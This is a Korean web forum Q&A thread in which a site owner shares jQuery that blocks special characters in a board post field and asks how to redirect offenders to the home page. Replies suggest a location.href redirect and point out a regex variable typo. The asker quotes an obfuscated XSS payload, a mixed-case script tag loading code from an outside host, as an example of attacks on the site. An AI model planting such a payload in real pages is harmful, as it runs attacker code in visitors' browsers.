채택완료

게시판 특수문자 사용불가 팝업ㅠㅠ

//특수문자 사용금지

$(document).ready(function(){

$("#wr_content").on("keyup", function(){//작성자 이면 wr_name으로 내용이면 wr_content 제목이면 wr_subject

reg = /[~!@\/<>#$%^&*\()\-=+_']/gi;

var temp=$(this).val();

if(reg.test(temp)){

alert("특수문자는 입력할 수 없습니다.")
//alert("로그인 하십시오.")"/login.php?url=" . "urlencode(G5_ADMIN_URL));
$(this).val(temp.replace(re,""));

}

});

});

여기까지는 팝업이 잘뜨는데

해당팝업이 뜨면 메인 홈페이지로 튕겨져 나가게할수는 없을까요?

해당팝업을 그냥 확인하고 글쓰기하면 글이그냥 써져버려서 튕겨져야 글을 못쓸거같습니다

요즘워낙 <sCRiPt sRC=//0x.ax/dflh></sCrIpT>

이런해킹 문제가많아서 혹시 메인홈페이지로 튕겨낼수있는 소스 알려주실 기술자분계실까요!?

답변 2개 / 댓글 1개

채택된 답변
+20 포인트

if(reg.test(temp)){

alert("특수문자는 입력할 수 없습니다.");

location.href = "<?php echo G5_URL?>";

return false;
}

답변에 대한 댓글 1개

ㅠㅠ말씀하신대로하니까 그냥 팝업창 자체가안뜨네요..
메인으로 돌아가지도않구요 ㅠㅠ

$(this).val(temp.replace(re,""));

reg 에 g가 빠져 있는것으로 보이네요

답변을 작성하려면 로그인이 필요합니다.